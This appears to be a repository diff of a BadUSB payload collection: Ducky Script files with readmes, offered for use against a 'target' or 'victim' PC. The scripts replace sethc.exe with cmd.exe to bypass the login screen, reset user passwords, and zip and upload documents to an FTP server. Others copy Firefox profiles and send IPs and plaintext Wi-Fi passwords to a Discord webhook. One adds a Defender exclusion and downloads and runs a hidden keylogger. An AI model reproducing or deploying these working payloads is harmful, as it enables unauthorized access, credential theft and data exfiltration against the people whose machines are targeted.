If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

21
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/StickyKeysSWAP/StickyKeysSWAP.txt Normal file
View File

@ -0,0 +1,21 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Switch cmd.exe with sethc.exe, allowing to get access to target pc without knowing the pin.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 1500
ALT y
DELAY 1500
GUI UP
DELAY 1500
STRING copy c:\windows\system32\sethc.exe c:\;$acl = Get-Acl c:\windows\system32\sethc.exe;$AccessRule1 = New-Object System.Security.AccessControl.FileSystemAccessRule("Jeder","FullControl","Allow");$AccessRule2 = New-Object System.Security.AccessControl.FileSystemAccessRule("Everyone","FullControl","Allow");$acl.SetAccessRule($AccessRule1);$acl | Set-Acl c:\windows\system32\sethc.exe;$acl.SetAccessRule($AccessRule2);$acl | Set-Acl c:\windows\system32\sethc.exe;Copy-Item -Path c:\windows\system32\cmd.exe -Destination c:\windows\system32\sethc.exe -Recurse -force; exit
ENTER

37
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/StickyKeysSWAP/readme.md Normal file
View File

@ -0,0 +1,37 @@
# StickyKeysSWAP
This script modifies the system file "sethc.exe" on a computer running Windows by adding full control access rules for "Everyone", replacing the file with the "cmd.exe" file, and setting the access control list of the file to the modified access control list.
## How to use?
This script is plug and play. Just plug in the Flipper and run the script.
## Features
- open powershell
- replace cmd.exe
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

43
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/setWinPass/readme.md Normal file
View File

@ -0,0 +1,43 @@
# setWinPass
This script sets the password for the current user on windows.
## How to use?
This script is not plug and play. You will have to do the following changes:
- change password to anything you like "$NewPassword = ConvertTo-SecureString "PASSWORD HERE""
## Features
- open powershell
- find current username
- set new password for current user
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

30
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/setWinPass/setWinPass.txt Normal file
View File

@ -0,0 +1,30 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Change Widnows 10 user password.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 560
STRING $User = ([Environment]::UserName)
DELAY 200
ENTER
DELAY 500
STRING $NewPassword = ConvertTo-SecureString "PASSWORD HERE" -AsPlainText -Force
DELAY 300
ENTER
DELAY 500
STRING Set-LocalUser -Name $User -Password $NewPassword
DELAY 300
ENTER
DELAY 600
STRING exit
ENTER

114
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Document_Exfil/Exfiltrate_Documents.txt Normal file
View File

@ -0,0 +1,114 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Exfiltrate documents and upload them to a ftp server.
REM Version: 1.0
REM Category: Exfiltration
DELAY 800
GUI r
DELAY 1000
STRING powershell Start-Process notepad -Verb runAs
ENTER
DELAY 800
ALT y
DELAY 800
ENTER
ALT SPACE
DELAY 1000
STRING m
DELAY 1000
DOWNARROW
REPEAT 100
ENTER
STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss')
ENTER
STRING $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime
ENTER
STRING $fileSaveDir = New-Item ($userDir) -ItemType Directory
ENTER
STRING $date = get-date
ENTER
STRING $style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>"
ENTER
STRING $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html'
ENTER
STRING $Report = $Report + "<div id=body><h1>Duck Tool Kit Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>"
ENTER
STRING $Report = $Report + '<div id=center><h3>User Documents (doc,docx,pdf,rar)</h3>'
ENTER
STRING $Report = $Report + (Get-ChildItem -Path $userDir -Include *.doc, *.docx, *.pdf, *.zip, *.rar -Recurse |convertto-html Directory, Name, LastAccessTime)
ENTER
STRING $Report = $Report + '</div>'
ENTER
STRING $Report >> $fileSaveDir'/ComputerInfo.html'
ENTER
STRING function copy-ToZip($fileSaveDir){
ENTER
STRING $srcdir = $fileSaveDir
ENTER
STRING $zipFile = 'C:\Windows\Report.zip'
ENTER
STRING if(-not (test-path($zipFile))) {
ENTER
STRING set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
ENTER
STRING (dir $zipFile).IsReadOnly = $false}
ENTER
STRING $shellApplication = new-object -com shell.application
ENTER
STRING $zipPackage = $shellApplication.NameSpace($zipFile)
ENTER
STRING $files = Get-ChildItem -Path $srcdir
ENTER
STRING foreach($file in $files) {
ENTER
STRING $zipPackage.CopyHere($file.FullName)
ENTER
STRING while($zipPackage.Items().Item($file.name) -eq $null){
ENTER
STRING Start-sleep -seconds 1 }}}
ENTER
STRING copy-ToZip($fileSaveDir)
ENTER
STRING $final = 'C:\Windows\Report.zip'
ENTER
STRING $ftpAddr = "ftp://username:password@ftp.host.com/Report.zip"
ENTER
STRING $browser = New-Object System.Net.WebClient
ENTER
STRING $url = New-Object System.Uri($ftpAddr)
ENTER
STRING $browser.UploadFile($url, $final)
ENTER
STRING remove-item $fileSaveDir -recurse
ENTER
STRING remove-item 'C:\Windows\Report.zip'
ENTER
STRING Remove-Item $MyINvocation.InvocationName
ENTER
CTRL s
DELAY 800
STRING C:\Windows\config-58477.ps1
ENTER
DELAY 1000
ALT F4
DELAY 800
GUI r
DELAY 800
STRING powershell Start-Process cmd -Verb runAs
ENTER
DELAY 800
ALT y
DELAY 1000
STRING mode con:cols=14 lines=1
ENTER
ALT SPACE
DELAY 800
STRING m
DELAY 1000
DOWNARROW
REPEAT 100
ENTER
STRING powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false
ENTER
DELAY 800
STRING powershell.exe -windowstyle hidden -File C:\Windows\config-58477.ps1
ENTER

39
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Document_Exfil/readme.md Normal file
View File

@ -0,0 +1,39 @@
# Exfiltrate Documents
This script will exfiltrate documents stored on the pc and upload them to a ftp server.
## How to use?
This script is not plug and play. You need to do the following changes:
- change the ftp server info right here "STRING $ftpAddr = "ftp://username:password@ftp.host.com/Report.zip"
## Features
- open powershell
- exfiltrate documents
- upload documents to ftp server
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

21
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/ExfilFirefox/ExfilFirefox.txt Normal file
View File

@ -0,0 +1,21 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Exfiltrate Firefox profile and store to path. Change destination Path at the very end of the string.
REM Version: 1.0
REM Category: Exfiltration
DELAY 750
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 1200
ALT y
DELAY 1200
GUI UP
DELAY 1200
STRING $ErrorActionPreference = "SilentlyContinue";$folderDateTime = (get-date).ToString('d-M-y HHmmss');$userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost Report ' + $folderDateTime;$fileSaveDir = New-Item ($userDir) -ItemType Directory;$date = get-date;$style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>";$Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo-26528702.html';$Report = $Report + "<div id=body><h1>Walkuer Ghost Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>";$fireSaveDir = New-Item $userDir'\WGD\FireFox-Profile' -ItemType Directory;$fireDir = (Get-ChildItem env:userprofile).value + '\AppData\Roaming\Mozilla\Firefox\Profiles';Copy-Item $fireDir -Destination $fireSaveDir -Recurse;Start-Sleep -s 10;$Report >> $fileSaveDir'/ComputerInfo-26528702.html';Compress-Archive -Path $fileSaveDir -DestinationPath PATH\results-26528702.zip ; exit
ENTER

39
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/ExfilFirefox/readme.md Normal file
View File

@ -0,0 +1,39 @@
# ExfilFirefox
This script exfiltrates the firefox profile and saves them to a local html file.
## How to use?
This script is not plug and play. You need to do the following changes:
- change path of the file "-DestinationPath PATH\results-26528702.zip"
## Features
- open powershell
- copy firefox profile
- paste profile into a html file
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

19
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/General_PC_Information/General_PC_Information.txt Normal file
View File

@ -0,0 +1,19 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Saves some general Information about the target pc to a file.
REM Version: 1.0
REM Category: Exfiltration
DELAY 750
WINDOWS d
DELAY 900
WINDOWS r
DELAY 900
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 900
ALT y
DELAY 900
STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss'); $userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost Report ' + $folderDateTime; $fileSaveDir = New-Item ($userDir) -ItemType Directory; $date = get-date; $style = '<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>'; $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo-34231960.html'; $Report = $Report + "<div id=body><h1>Walkuer Ghost Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>"; $SysBootTime = Get-WmiObject Win32_OperatingSystem; $BootTime = $SysBootTime.ConvertToDateTime($SysBootTime.LastBootUpTime)| ConvertTo-Html datetime; $SysSerialNo = (Get-WmiObject -Class Win32_OperatingSystem -ComputerName $env:COMPUTERNAME); $SerialNo = $SysSerialNo.SerialNumber; $SysInfo = Get-WmiObject -class Win32_ComputerSystem -namespace root/CIMV2 | Select Manufacturer,Model; $SysManufacturer = $SysInfo.Manufacturer; $SysModel = $SysInfo.Model; $OS = (Get-WmiObject Win32_OperatingSystem -computername $env:COMPUTERNAME ).caption; $disk = Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='C:'"; $HD = [math]::truncate($disk.Size / 1GB); $FreeSpace = [math]::truncate($disk.FreeSpace / 1GB); $SysRam = Get-WmiObject -Class Win32_OperatingSystem -computername $env:COMPUTERNAME | Select TotalVisibleMemorySize; $Ram = [Math]::Round($SysRam.TotalVisibleMemorySize/1024KB); $SysCpu = Get-WmiObject Win32_Processor | Select Name; $Cpu = $SysCpu.Name; $HardSerial = Get-WMIObject Win32_BIOS -Computer $env:COMPUTERNAME | select SerialNumber; $HardSerialNo = $HardSerial.SerialNumber; $SysCdDrive = Get-WmiObject Win32_CDROMDrive |select Name; $graphicsCard = gwmi win32_VideoController |select Name; $graphics = $graphicsCard.Name; $SysCdDrive = Get-WmiObject Win32_CDROMDrive |select -first 1; $DriveLetter = $CDDrive.Drive; $DriveName = $CDDrive.Caption; $Disk = $DriveLetter + '\' + $DriveName; $Firewall = New-Object -com HNetCfg.FwMgr; $FireProfile = $Firewall.LocalPolicy.CurrentProfile; $FireProfile = $FireProfile.FirewallEnabled; $Report = $Report + "<div id=left><h3>Computer Information</h3><br><table><tr><td>Operating System</td><td>$OS</td></tr><tr><td>OS Serial Number:</td><td>$SerialNo</td></tr><tr><td>Current User:</td><td>$env:USERNAME </td></tr><tr><td>System Uptime:</td><td>$BootTime</td></tr><tr><td>System Manufacturer:</td><td>$SysManufacturer</td></tr><tr><td>System Model:</td><td>$SysModel</td></tr><tr><td>Serial Number:</td><td>$HardSerialNo</td></tr><tr><td>Firewall is Active:</td><td>$FireProfile</td></tr></table></div><div id=right><h3>Hardware Information</h3><table><tr><td>Hardrive Size:</td><td>$HD GB</td></tr><tr><td>Hardrive Free Space:</td><td>$FreeSpace GB</td></tr><tr><td>System RAM:</td><td>$Ram GB</td></tr><tr><td>Processor:</td><td>$Cpu</td></tr><td>CD Drive:</td><td>$Disk</td></tr><tr><td>Graphics Card:</td><td>$graphics</td></tr></table></div>"; $Report >> $fileSaveDir'/ComputerInfo-34231960.html';Compress-Archive -Path $fileSaveDir -DestinationPath PATH TO SAVE FILE HERE\Gather_Informationresults-34231960.zip ; exit
ENTER

39
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/General_PC_Information/readme.md Normal file
View File

@ -0,0 +1,39 @@
# General_PC_Information
This script saves some general info about the pc into a file.
## How to use?
This script is not plug and play. You need to do the following changes:
- change path of the file "-DestinationPath PATH TO SAVE FILE HERE\Gather_Informationresults-34231960.zip"
## Features
- open powershell
- exfiltrate pc info
- paste info to a html file
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

30
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/GetAllComputerInfo/GetAllComputerInfo.txt Normal file
View File

@ -0,0 +1,30 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Simple Powershell script that stores alot of Info about the PC into a file. For more info read the comments (REM) in the code below.
REM Version: 1.0
REM Category: Exfiltration
DELAY 1000
GUI r
DELAY 450
REM Start Powershell as Admin
STRING powershell Start-Process powershell -Verb runAs
DELAY 500
ENTER
DELAY 600
LEFTARROW
DELAY 600
ENTER
DELAY 750
REM Change the "Path" to your path ("C:\...").
STRING $Path = "PATH"
DELAY 500
ENTER
DELAY 500
REM Creates the Results.txt file to the path
STRING New-Item -Path "$Path\Results.txt" -ItemType File
DELAY 500
ENTER
DELAY 700
REM Gets all the Info about the PC and stores them into the created Results.txt file
STRING Get-ComputerInfo | Out-File -FilePath "$Path\Results.txt"
DELAY 300
ENTER

39
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/GetAllComputerInfo/readme.md Normal file
View File

@ -0,0 +1,39 @@
# GetAllComputerInfo
This script saves almost every valuable info about the pc to a file.
## How to use?
This script is not plug and play. You need to do the following changes:
- change path of the file "STRING $Path = "PATH""
## Features
- open powershell
- exfiltrate pc info
- paste info to a html file
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

12
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/IP_To_Discord/SaveIP_ToDiscordWebhook.txt Normal file
View File

@ -0,0 +1,12 @@
REM Author: Startrk1995
REM Description: Saves the IP of the target pc to a discord webhook.
REM Version: 1.0
REM Category: Exfiltration
DELAY 500
GUI r
DELAY 200
STRING powershell
ENTER
DELAY 1000
STRING $url="DISCORD WEBHOOK LINK";dir env: >> stats.txt; Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress,SuffixOrigin | where IPAddress -notmatch '(127.0.0.1|169.254.\d+.\d+)' >> stats.txt;(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{PROFILE_NAME=$name;PASSWORD=$pass}} | Format-Table -AutoSize >> stats.txt;$Body=@{ content = "$env:computername Stats from Ducky/Pico"};Invoke-RestMethod -ContentType 'Application/Json' -Uri $url -Method Post -Body ($Body | ConvertTo-Json);curl.exe -F "file1=@stats.txt" $url ; Remove-Item '.\stats.txt';exit
ENTER

39
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/IP_To_Discord/readme.md Normal file
View File

@ -0,0 +1,39 @@
# IP_To_Discord
Saves the IP of the target pc to a discord webhook.
## How to use?
This script is not plug and play. You need to do the following changes:
- change the url of the discord webhook "$url="DISCORD WEBHOOK LINK""
## Features
- open powershell
- get ip adress
- send file with ip to webhook
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

44
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Keylogger/Keylogger.txt Normal file
View File

@ -0,0 +1,44 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: This script allows you to inject a software keylogger in victim's PC
REM Version: 1.0
REM Category: Exfiltration
DELAY 2500
GUI d
DELAY 500
GUI r
DELAY 500
STRING powershell.exe -windowstyle hidden
DELAY 200
CTRL SHIFT ENTER
DELAY 5000
LEFT
DELAY 150
ENTER
DELAY 5000
STRING cd C:\Users\Public\Documents
ENTER
STRING Add-MpPreference -ExclusionExtension ps1 -Force
ENTER
STRING Set-ExecutionPolicy unrestricted -Force
ENTER
STRING wget (LINK TO KEYLOGGER) -OutFile script.ps1
ENTER
DELAY 3500
STRING powershell.exe -noexit -windowstyle hidden -file script.ps1
ENTER
CAPSLOCK
DELAY 150
CAPSLOCK
DELAY 150
CAPSLOCK
DELAY 150
CAPSLOCK
DELAY 2000
CAPSLOCK
DELAY 150
CAPSLOCK
DELAY 150
CAPSLOCK
DELAY 150
CAPSLOCK
REM End of payload

39
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Keylogger/readme.md Normal file
View File

@ -0,0 +1,39 @@
# Keylogger
This script is only for experienced penetration testers.
## How to use?
This script is not plug and play. You need to do the following changes:
- change url to a .ps keylogger script "STRING wget (LINK TO KEYLOGGER)"
## Features
- open powershell
- download .ps script
- execute script
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

23
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/ListWindowsUpdates/ListWindowsUpdates.txt Normal file
View File

@ -0,0 +1,23 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Saves all installed windows updates to a list. Don't forget to change the path.
REM Version: 1.0
REM Category: Exfiltration
DELAY 750
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 1200
ALT y
DELAY 1200
GUI UP
DELAY 1200
STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss');$userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost Report ' + $folderDateTime;$fileSaveDir = New-Item ($userDir) -ItemType Directory;$date = get-date;$style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>";$Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo-90412137.html';$Report = $Report + "<div id=body><h1>Walkuer Ghost Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>";$Report = $Report + '<div id=center><h3> Installed Updates</h3>';$Report = $Report + (Get-WmiObject Win32_QuickFixEngineering -ComputerName $env:COMPUTERNAME | sort-object -property installedon -Descending | ConvertTo-Html Description, HotFixId,Installedon,InstalledBy);$Report = $Report + '</div>';$Report >> $fileSaveDir'/ComputerInfo-90412137.html'
ENTER
STRING Compress-Archive -Path $fileSaveDir -DestinationPath results-90412137.zip ; exit
ENTER

39
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/ListWindowsUpdates/readme.md Normal file
View File

@ -0,0 +1,39 @@
# ListWindowsUpdates
This script is going to save the names of installed windows updates.
## How to use?
This script is not plug and play. You need to do the following changes:
- change path for the file "-DestinationPath results-90412137.zip"
## Features
- open powershell
- list windows updates
- store them into a file
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

164
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Network_Exfiltration/Network_Exfiltration.txt Normal file
View File

@ -0,0 +1,164 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Exfiltrate network.
REM Version: 1.0
REM Category: Exfiltration
DELAY 800
GUI r
DELAY 1000
STRING powershell Start-Process notepad -Verb runAs
ENTER
DELAY 800
ALT y
DELAY 800
ENTER
ALT SPACE
DELAY 1000
STRING m
DELAY 1000
DOWNARROW
REPEAT 100
ENTER
STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss')
ENTER
STRING $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime
ENTER
STRING $fileSaveDir = New-Item ($userDir) -ItemType Directory
ENTER
STRING $date = get-date
ENTER
STRING $style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>"
ENTER
STRING $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html'
ENTER
STRING $Report = $Report + "<div id=body><h1>Duck Tool Kit Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>"
ENTER
STRING $Report = $Report + '<div id=center><h3>User Documents (doc,docx,pdf,rar)</h3>'
ENTER
STRING $Report = $Report + (Get-ChildItem -Path $userDir -Include *.doc, *.docx, *.pdf, *.zip, *.rar -Recurse |convertto-html Directory, Name, LastAccessTime)
ENTER
STRING $Report = $Report + '</div>'
ENTER
STRING $Report >> $fileSaveDir'/ComputerInfo.html'
ENTER
STRING function copy-ToZip($fileSaveDir){
ENTER
STRING $srcdir = $fileSaveDir
ENTER
STRING $zipFile = 'C:\Windows\Report.zip'
ENTER
STRING if(-not (test-path($zipFile))) {
ENTER
STRING set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
ENTER
STRING (dir $zipFile).IsReadOnly = $false}
ENTER
STRING $shellApplication = new-object -com shell.application
ENTER
STRING $zipPackage = $shellApplication.NameSpace($zipFile)
ENTER
STRING $files = Get-ChildItem -Path $srcdir
ENTER
STRING foreach($file in $files) {
ENTER
STRING $zipPackage.CopyHere($file.FullName)
ENTER
STRING while($zipPackage.Items().Item($file.name) -eq $null){
ENTER
STRING Start-sleep -seconds 1 }}}
ENTER
STRING copy-ToZip($fileSaveDir)
ENTER
STRING $final = 'C:\Windows\Report.zip'
ENTER
STRING $ftpAddr = "ftp://username:password@ftp.host.com/Report.zip"
ENTER
STRING $browser = New-Object System.Net.WebClient
ENTER
STRING $url = New-Object System.Uri($ftpAddr)
ENTER
STRING $browser.UploadFile($url, $final)
ENTER
STRING remove-item $fileSaveDir -recurse
ENTER
STRING remove-item 'C:\Windows\Report.zip'
ENTER
STRING Remove-Item $MyINvocation.InvocationName
ENTER
CTRL s
DELAY 800
STRING C:\Windows\config-49197.ps1
ENTER
DELAY 1000
ALT F4
DELAY 800
GUI r
DELAY 800
STRING powershell Start-Process cmd -Verb runAs
ENTER
DELAY 800
ALT y
DELAY 1000
STRING mode con:cols=14 lines=1
ENTER
ALT SPACE
DELAY 800
STRING m
DELAY 1000
DOWNARROW
REPEAT 100
ENTER
STRING powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false
ENTER
DELAY 800
STRING powershell.exe -windowstyle hidden -File C:\Windows\config-49197.ps1
ENTER
STRING $IP = Get-WmiObject Win32_NetworkAdapterConfiguration -Filter 'IPEnabled = True' | Select IPAddress -First 1
ENTER
STRING $IPAddr = $IP.IPAddress | Select-Object -Index 0
ENTER
STRING $IPAddr -as [String]
ENTER
STRING $IPa = $IPAddr.Split('.') | Select -Index 0
ENTER
STRING $IPb = $IPAddr.Split('.') | Select -Index 1
ENTER
STRING $IPc = $IPAddr.Split('.') | Select -Index 2
ENTER
STRING $IPAddr = $IPa + '.' + $IPb + '.' + $IPc + '.'
ENTER
STRING $Ping = new-object System.Net.Networkinformation.Ping
ENTER
STRING $ScanResults = 1-225..1-225 | ForEach-Object {($Ping).Send($IpAddr + $_) } | Where-Object {$_.Status -eq 'Success'} | select Address
ENTER
STRING $x = 0
ENTER
STRING $Report = $Report + '<div id=center><h3>Network Scan Results</h3><table>'
ENTER
STRING do {
ENTER
STRING $IPResults = $ScanResults | Select-Object -Index $x
ENTER
STRING $CompInfo = Get-WmiObject Win32_OperatingSystem -Computer $IPResults.Address | Select RegisteredUser, SystemDirectory
ENTER
STRING $CompName = (Get-WmiObject Win32_OperatingSystem -Computer $IPResults.Address).csname
ENTER
STRING $CurrIP = $IPResults.Address.IPAddressToString
ENTER
STRING $CurrOS = $CompInfo.SystemDirectory
ENTER
STRING $CurrName = $CompInfo.RegisteredUser
ENTER
STRING if ($CompInfo -ne $null){
ENTER
STRING $Report = $Report + '<tr><td><b>IP Address:</b></td><td>' + $CurrIP + '</td><td><b>Compter Name: </b></td><td>' + $CompName + '</td><td><b>User Name: </b></td><td>' + $CurrName + '</td> <td><b>OS:</b> </td><td>' + $CurrOS + '</td></tr><br>'
ENTER
STRING }else{
ENTER
STRING $Report = $Report + '<tr><td><b>IP Address: </b></td><td>' + $CurrIP + '</td><td><b>Computer Name: </b></td><td>NOT KNOWN</td><td><b>User Name: </b></td><td>NOT KNOWN</td><td><b>OS:</b></td><td>NOT KNOWN</td></tr><br>'}
ENTER
STRING $x ++
ENTER
STRING } while ($x -lt $ScanResults.Count)
ENTER
STRING $Report = $Report + '</table></div>'
ENTER

41
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Network_Exfiltration/readme.md Normal file
View File

@ -0,0 +1,41 @@
# Exfiltrate Network
This script will exfiltrate the network and uplaod the report to an ftp server.
## How to use?
This script is not plug and play. You need to do the following changes:
- change the two numbers 1-225 into a number from 1-225 ;)
- "STRING $ScanResults = 1-225..1-225 | ForEach-Object {($Ping).Send($IpAddr + $_) } | Where-Object {$_.Status -eq 'Success'} | select Address "
- Would be --> $ScanResults = 1..169 (for example)
## Features
- open powershell
- exfiltrate network
- upload report to server
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

108
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/SAMexfil/SAMexfil.txt Normal file
View File

@ -0,0 +1,108 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
